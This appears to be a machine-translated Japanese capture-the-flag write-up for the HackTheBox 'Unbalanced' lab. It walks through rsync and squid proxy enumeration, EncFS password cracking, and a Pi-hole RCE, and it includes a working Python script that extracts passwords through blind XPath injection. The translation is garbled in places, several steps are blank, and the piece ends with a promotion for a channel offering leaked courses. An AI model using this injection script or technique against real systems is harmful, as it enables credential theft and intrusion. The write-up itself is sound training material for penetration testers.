
私はHackTheBoxサイトからマシンのファイナライズに送信されたソリューションを公開し続けています。
この記事では、rsyncでのバックアップを扱い、EncFSのパスワードを推測し、squidプロキシサーバーを操作し、XPathインジェクションを活用し、Pi-holeでRCEを活用します。
組織情報
偵察
このマシンのIPアドレスは10.10.10.200で、これを/ etc / hostsに追加します。
10.10.10.200 unbalanced.htb
最初のステップは、開いているポートをスキャンすることです。これを行うには、次のスクリプトを使用します。このスクリプトは、スキャンされるホストのアドレスという1つの引数を取ります。
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
また、SSH、rsync、およびsquidプロキシサービスを監視します。Rsyncは、トラフィックを最小限に抑えながら2つの場所でファイルとディレクトリを同期するUNIXのようなシステム用のプログラムです。Rsyncは、ディレクトリの内容をコピーまたは表示し、オプションで圧縮と再帰を使用してファイルをコピーできます。
利用可能なモジュールのリストを見てみましょう。
rsync --list-only rsync://unbalanced.htb:873
conf_backupsをコピーします。
rsync -av rsync://unbalanced.htb:873/conf_backups conf_backups
.encfs6.xmlファイルが存在することにより、これがEncFSで暗号化されたボリュームであることがわかります。パスワードのハッシュを取得しましょう。
そして、それを整理しましょう。
したがって、暗号化が実行されたパスワードを取得します。パーティションをマウントするために残っています。
そして、ファイルの通常のリストを取得します。
これらは主に構成ファイルであり、squid.confに最も関心があります。コメントされていないすべての行を見てみましょう。
cat squid.conf | grep -v '^#' | uniq
パスワードを保存し、/ etc / hostsに追加する新しいドメイン名をマークします。ACLについても見ていきます。
10.10.10.200 intranet.unbalanced.htb
ブラウザにプロキシをインストールし、見つかったドメイン名を使用してWebサーバーを参照します。
承認フォームが表示されます。彼女としばらく過ごした後、イカと一緒に働き続けることに決めました。
エントリーポイント
利用可能なオプションを見てみましょう。
squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:menu | grep -v 'disabled'
そして、より多くのドメイン名を見つけることができます。
squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:fqdncache
そして、さらに3つの名前があります。それらを/ etc /ホストに追加します(後者は論理的に選択されました)。
172.31.179.2 intranet-host2.unbalanced.htb 172.31.179.3 intranet-host3.unbalanced.htb 172.31.179.1 intranet.unbalanced.htb
そして最初は、このサイトが一時的な解決策であることがわかります。
次に、同じ承認フォームにアクセスします。
ユーザー
再度テストし、 'または' '='リクエストへの応答を取得します。
そして、ユーザーのリストを取得します。これはXPathインジェクションです。実際には、特定のクエリを使用して、これらの名前のユーザーパスワードを見つけることができます。
したがって、最初に、string-length関数を使用してパスワードの長さを決定できます。ログイン時のテスト。正しい長さが5であることがわかっているので、4と5の条件を試して、違いを確認してください。
違いは明らかです。長さを決定した後、一度に1文字ずつパスワードを取得できます。ログインについてもテストします。最初の文字を取り、それを「a」、次に「b」と比較します。
違いもわかります。同様の方法で、ログインごとにすべてのパスワードをソートするコードを書いてみましょう。
import requests
import string
url = 'http://172.31.179.1/intranet.php'
proxies = {'http':'http://10.10.10.200:3128'}
users = ['bryan','sarah', 'jim', 'rita']
pass_str_len = "' or Username='USER' and string-length(Password)='"
pass_str_chr = "' or Username='USER' and substring(Password,NUM,1)='"
for user in users:
for l in range(1,25):
data = {'Username': '', 'Password': pass_str_len.replace('USER', user) + str(l) }
request = requests.post(url=url, data=data, proxies=proxies)
print('(' + str(l) + ') ' + user + ' : ' + ' '*10, end="\r")
if 'Invalid credentials.' not in request.text:
passwd = ''
for num in range(l):
for c in string.printable[:94]:
data = {'Username': '', 'Password': pass_str_chr.replace('USER', user).replace('NUM', str(num+1)) + c }
request = requests.post(url=url, data=data, proxies=proxies)
print('(' + str(l) + ') ' + user + ' : ' + passwd + c +' '*10, end='\r')
if 'Invalid credentials.' not in request.text:
passwd += c
break
print(user +" : "+ passwd + " "*10)
break
そして、最初のユーザーは、見つかったパスワードを使用してSSHアクセスできます。
ルート
ユーザーのホームディレクトリでTODOリストを見つけます。
そして、Pi-hole(パスワード管理者)に関連するタスクがまだ完了していないことがわかります。しかし、netstatがないため、開いているポートを表示することはできませんでした。次に、このスクリプトを使用できます。
ポート8080と5553は開いています。
答えには、別のドメインと対応するIPがあります。ポートをドロップして、ブラウザを通過してみましょう。
ssh -L 8080:127.0.0.1:8080 bryan@unbalanced.htb
このページに移動し、パスワードadminでログインします。一番下にバージョンが表示されます。
エクスプロイトを見てみましょう。
リスナーを起動して、エクスプロイトを実行してみましょう。
ルートファイルを見て、TODOリストに記載されているスクリプトを見つけましょう。
パスワードが含まれています。Telegramに
参加できます。そこには、興味深い資料、レポート、リークされたコース、およびソフトウェアがあります。ITの多くの分野に精通している人々がいるコミュニティを集めましょう。そうすれば、ITと情報のセキュリティの問題についていつでも互いに助け合うことができます。